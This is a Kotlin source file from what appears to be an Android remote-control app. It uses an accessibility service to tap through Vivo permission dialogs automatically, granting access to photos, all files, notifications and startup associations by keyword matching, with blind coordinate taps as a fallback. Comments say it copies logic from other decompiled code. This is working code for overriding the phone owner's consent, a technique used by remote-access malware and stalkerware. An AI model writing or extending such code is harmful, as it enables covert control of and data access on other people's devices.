package com.hikoncont.service.modules.vivo

import android.accessibilityservice.AccessibilityService
import android.accessibilityservice.GestureDescription
import android.content.Context
import android.graphics.Path
import android.util.Log
import android.view.accessibility.AccessibilityNodeInfo
import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.delay

/**
 * Vivo自动点击处理器
 * 参照r.java的"允许"按钮自动点击逻辑和t.java的通用按钮点击处理
 */
class VivoButtonHandler(
    private val service: AccessibilityRemoteService,
    private val context: Context
) {
    companion object {
        private const val TAG = "VivoButtonHandler"
        
        // 按钮类型常量
        private const val BUTTON_TYPE_ALLOW = "allow"
        private const val BUTTON_TYPE_DENY = "deny"
        private const val BUTTON_TYPE_CONFIRM = "confirm"
        private const val BUTTON_TYPE_CANCEL = "cancel"
        private const val BUTTON_TYPE_START = "start"
        private const val BUTTON_TYPE_CLOSE = "close"
    }
    
    /**
     * 按钮点击配置
     */
    data class ButtonClickConfig(
        val buttonType: String,
        val keywords: List<String> = emptyList(),
        val coordinateFallback: Boolean = true,
        val timeoutMs: Long = 3000L,
        val retryCount: Int = 2
    )
    
    /**
     * "允许"按钮自动点击
     * 参照r.java的主要逻辑
     */
    suspend fun clickAllowButton(config: ButtonClickConfig = ButtonClickConfig(BUTTON_TYPE_ALLOW)): Boolean {
        return try {
            Log.d(TAG, "🔍 [允许按钮] 开始查找并点击'允许'按钮")
            
            // 1. 优先文本查找
            val textSuccess = findAndClickButtonByText(config.keywords.ifEmpty { 
                listOf("确定", "允许", "始终允许", "允许使用照片和视频", "所有文件", "允许管理所有文件", "允许访问全部", "使用期间允许", "仅使用期间允许", "使用应用时允许", "使用时允许", "仅在使用中允许", "仅在前台使用应用时允许", "仅在使用该应用时允许", "允许本次使用", "本次使用时允许", "允许通知", "仅媒体")
            })
            
            if (textSuccess) {
                Log.d(TAG, "✅ [允许按钮] 文本查找点击成功")
                return true
            }
            
            // 2. 兜底：坐标点击
            if (config.coordinateFallback) {
                Log.d(TAG, "🔄 [允许按钮] 文本查找失败，尝试坐标点击")
                val coordinateSuccess = clickAllowByCoordinate()
                if (coordinateSuccess) {
                    Log.d(TAG, "✅ [允许按钮] 坐标点击成功")
                    return true
                }
            }
            
            Log.w(TAG, "⚠️ [允许按钮] 所有方式均失败")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [允许按钮] 点击'允许'按钮异常", e)
            false
        }
    }
    
    /**
     * 通用按钮点击处理
     * 参照t.java的通用按钮处理逻辑
     */
    suspend fun clickButton(
        buttonType: String,
        customKeywords: List<String> = emptyList()
    ): Boolean {
        return try {
            Log.d(TAG, "🔍 [通用按钮] 开始处理按钮点击: $buttonType")
            
            val keywords = when (buttonType.lowercase()) {
                "allow", "允许" -> {
                    listOf("允许", "允许全部", "同意", "确定", "OK", "Yes", "Accept")
                }
                "deny", "禁止" -> {
                    listOf("禁止", "拒绝", "不了", "取消", "Cancel", "No", "Deny", "拒绝访问")
                }
                "confirm", "确定" -> {
                    listOf("确定", "确认", "Confirm", "OK")
                }
                "cancel", "取消" -> {
                    listOf("取消", "返回", "Cancel", "Back")
                }
                "start", "开始" -> {
                    listOf("开始", "启动", "Start", "开始使用")
                }
                "close", "关闭" -> {
                    listOf("关闭", "Close", "退出")
                }
                else -> emptyList()
            }
            
            val finalKeywords = if (customKeywords.isNotEmpty()) customKeywords else keywords
            
            if (finalKeywords.isEmpty()) {
                Log.w(TAG, "⚠️ [通用按钮] 未找到关键字: $buttonType")
                return false
            }
            
            val textSuccess = findAndClickButtonByText(finalKeywords)
            
            if (textSuccess) {
                Log.d(TAG, "✅ [通用按钮] 按钮点击成功: $buttonType")
                return true
            }
            
            Log.w(TAG, "⚠️ [通用按钮] 按钮点击失败: $buttonType")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [通用按钮] 按钮点击异常: $buttonType", e)
            false
        }
    }
    
    /**
     * 关联启动确认弹框处理
     * 参照原始代码的关联启动处理
     */
    suspend fun handleAssociationStartupDialog(): Boolean {
        return try {
            Log.d(TAG, "🔧 [关联启动] 处理关联启动确认弹框")
            
            // 等待弹框出现
            delay(1000)
            
            val root = service.rootInActiveWindow ?: return false
            
            // 查找"允许"按钮
            val allowButton = findNodeByText(root, "允许")
            if (allowButton != null) {
                Log.d(TAG, "✅ [关联启动] 找到了'允许'按钮，尝试点击")
                
                val success = performClickOnNode(allowButton)
                
                if (success) {
                    Log.d(TAG, "✅ [关联启动] 成功点击'允许'按钮")
                    return true
                }
            }
            
            // 如果找不到"允许"按钮，尝试坐标点击
            Log.d(TAG, "⚠️ [关联启动] 未找到'允许'按钮，尝试坐标点击") 
            return clickAllowByCoordinate()
                    
        } catch (e: Exception) {
            Log.e(TAG, "❌ [关联启动] 处理关联启动弹框失败", e)
            false
        }
    }
    
    /**
     * 通过文本查找并点击按钮
     * 参照r.java的文本查找逻辑
     */
    private suspend fun findAndClickButtonByText(keywords: List<String>): Boolean {
        return try {
            Log.d(TAG, "🔍 [文本查找] 开始文本查找按钮: ${keywords.joinToString(", ")}")
            
            val root = service.rootInActiveWindow ?: return false
            
            // 收集页面文本
            val texts = VivoPermissionMonitor.collectAllTexts(root)
            Log.d(TAG, "🔍 [文本查找] 页面文本内容: ${texts.take(10).joinToString(", ")}")
            
            // 查找匹配的关键字
            for (keyword in keywords) {
                val matchingText = texts.find { it.contains(keyword, true) }
                if (matchingText != null) {
                    Log.d(TAG, "✅ [文本查找] 找到匹配关键字: $keyword (实际: $matchingText)")
                    
                    // 尝试通过文本查找并点击节点
                    val node = findNodeByText(root, keyword)
                    if (node != null && node.isClickable) {
                        val success = performClickOnNode(node)
                        if (success) {
                            Log.d(TAG, "✅ [文本查找] 文本点击成功: $keyword")
                            return true
                        }
                    } else {
                        Log.d(TAG, "⚠️ [文本查找] 文本节点不可点击: $keyword")
                    }
                }
            }
            
            Log.w(TAG, "⚠️ [文本查找] 未找到可点击的按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [文本查找] 文本查找按钮异常", e)
            false
        }
    }
    
    /**
     * 通过坐标点击"允许"按钮
     * 参照r.java的坐标点击逻辑
     */
    private suspend fun clickAllowByCoordinate(): Boolean {
        return try {
            Log.d(TAG, "🔧 [坐标点击] 通过坐标点击'允许'按钮")
            
            val dm = context.resources.displayMetrics
            val W = dm.widthPixels
            val H = dm.heightPixels
            
            Log.d(TAG, "🔍 [坐标点击] 屏幕尺寸: ${W}x${H}")
            
            // 基于实测的坐标点（参照原始代码的坐标设置）
            val candidates = listOf(
                Pair((W * 0.50f).toInt(), (H * 0.875f).toInt()),
                Pair((W * 0.45f).toInt(), (H * 0.875f).toInt()),
                Pair((W * 0.55f).toInt(), (H * 0.875f).toInt()),
                Pair((W * 0.35f).toInt(), (H * 0.88f).toInt()),
                Pair((W * 0.65f).toInt(), (H * 0.88f).toInt()),
                Pair((W * 0.50f).toInt(), (H * 0.90f).toInt())
            )
            
            for ((x, y) in candidates) {
                Log.d(TAG, "🔍 [坐标点击] 尝试坐标: ($x, $y)")
                if (performCoordinateClick(x, y)) {
                    Log.d(TAG, "✅ [坐标点击] 坐标点击成功: ($x, $y)")
                    delay(500)
                    return true
                }
            }
            
            Log.w(TAG, "⚠️ [坐标点击] 所有候选坐标均失败")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [坐标点击] 坐标点击'允许'按钮失败", e)
            false
        }
    }
    
    /**
     * 查找关闭按钮处理
     */
    suspend fun clickCloseButton(): Boolean {
        return try {
            Log.d(TAG, "🔍 [关闭按钮] 开始查找并点击关闭按钮")
            
            val root = service.rootInActiveWindow ?: return false
            
            // 查找常见的关闭按钮关键字
            val closeKeywords = listOf("关闭", "Close", "退出", "取消", "Cancel", "×", "✕")
            
            for (keyword in closeKeywords) {
                val node = findNodeByText(root, keyword)
                if (node != null && node.isClickable) {
                    val success = performClickOnNode(node)
                    if (success) {
                        Log.d(TAG, "✅ [关闭按钮] 关闭按钮点击成功: $keyword")
                        return true
                    }
                }
            }
            
            // 尝试通过ID查找关闭按钮
            val closeIds = listOf(
                "android:id/button_close",
                "com.android.settings:id/close",
                "com.vivo.permissionmanager:id/close"
            )
            
            for (viewId in closeIds) {
                val nodes = root.findAccessibilityNodeInfosByViewId(viewId)
                if (nodes.isNotEmpty() && nodes[0].isClickable) {
                    val success = performClickOnNode(nodes[0])
                    if (success) {
                        Log.d(TAG, "✅ [关闭按钮] 通过ID点击关闭按钮成功: $viewId")
                        return true
                    }
                }
            }
            
            Log.w(TAG, "⚠️ [关闭按钮] 未找到关闭按钮")
            false
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [关闭按钮] 关闭按钮点击异常", e)
            false
        }
    }
    
    /**
     * 根据文本查找节点
     */
    private fun findNodeByText(root: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        return try {
            // 检查当前节点
            val nodeText = root.text?.toString()
            val nodeDesc = root.contentDescription?.toString()
            
            if (nodeText == text || nodeDesc == text) {
                return root
            }
            
            // 模糊匹配
            if (nodeText?.contains(text, true) == true || nodeDesc?.contains(text, true) == true) {
                return root
            }
            
            // 递归查找子节点
            for (i in 0 until root.childCount) {
                val child = root.getChild(i) ?: continue
                val result = findNodeByText(child, text)
                child.recycle()
                if (result != null) {
                    return result
                }
            }
            
            null
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [节点查找] 查找节点异常", e)
            null
        }
    }
    
    /**
     * 在指定节点上执行点击
     */
    private suspend fun performClickOnNode(node: AccessibilityNodeInfo): Boolean {
        return try {
            if (node.isClickable) {
                val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                Log.d(TAG, "🔍 [节点点击] performAction结果: $success")
                return success
            } else {
                // 查找可点击的父节点
                var current: AccessibilityNodeInfo? = node
                var attempts = 0
                while (current != null && attempts < 5) {
                    if (current.isClickable) {
                        val success = current.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        Log.d(TAG, "🔍 [父节点点击] performAction结果: $success")
                        return success
                    }
                    val parent = try {
                        current.parent
                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ 获取父节点失败", e)
                        null
                    }
                    current = parent
                    attempts++
                }
                
                // 最后的兜底：坐标点击
                Log.d(TAG, "🔄 [节点点击] 尝试坐标点击兜底")
                return performCoordinateClick(node)
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [节点点击] 节点点击异常", e)
            false
        }
    }
    
    /**
     * 坐标点击兜底
     */
    private suspend fun performCoordinateClick(node: AccessibilityNodeInfo): Boolean {
        return try {
            val rect = android.graphics.Rect()
            node.getBoundsInScreen(rect)
            
            val centerX = rect.centerX()
            val centerY = rect.centerY()
            
            Log.d(TAG, "🎯 [坐标兜底] 点击坐标: ($centerX, $centerY)")
            
            val gestureBuilder = GestureDescription.Builder()
            val path = Path().apply {
                moveTo(centerX.toFloat(), centerY.toFloat())
            }
            
            val gesture = gestureBuilder
                .addStroke(GestureDescription.StrokeDescription(path, 0, 100))
                .build()
            
            val success = service.dispatchGesture(gesture, null, null)
            
            if (success) {
                Log.d(TAG, "✅ [坐标兜底] 坐标点击成功")
                delay(200)
                return true
            } else {
                Log.w(TAG, "❌ [坐标兜底] 坐标点击失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [坐标点击] 坐标点击异常", e)
            false
        }
    }
    
    /**
     * 执行坐标点击
     */
    private suspend fun performCoordinateClick(x: Int, y: Int): Boolean {
        return try {
            Log.d(TAG, "🔧 [坐标点击] 执行坐标点击: ($x, $y)")
            
            val gestureBuilder = GestureDescription.Builder()
            val path = Path().apply {
                moveTo(x.toFloat(), y.toFloat())
            }
            
            val gesture = gestureBuilder
                .addStroke(GestureDescription.StrokeDescription(path, 0, 100))
                .build()
            
            val success = service.dispatchGesture(gesture, object : AccessibilityService.GestureResultCallback() {
                override fun onCompleted(gestureDescription: GestureDescription?) {
                    Log.d(TAG, "✅ [坐标点击] 坐标点击手势完成")
                }
                
                override fun onCancelled(gestureDescription: GestureDescription?) {
                    Log.w(TAG, "⚠️ [坐标点击] 坐标点击手势被取消")
                }
            }, null)
            
            if (success) {
                Log.d(TAG, "✅ [坐标点击] 坐标点击手势已发送")
                delay(200) // 等待点击完成
                return true
            } else {
                Log.w(TAG, "❌ [坐标点击] 坐标点击手势发送失败")
                return false
            }
            
        } catch (e: Exception) {
            Log.e(TAG, "❌ [坐标点击] 坐标点击失败", e)
            false
        }
    }
}
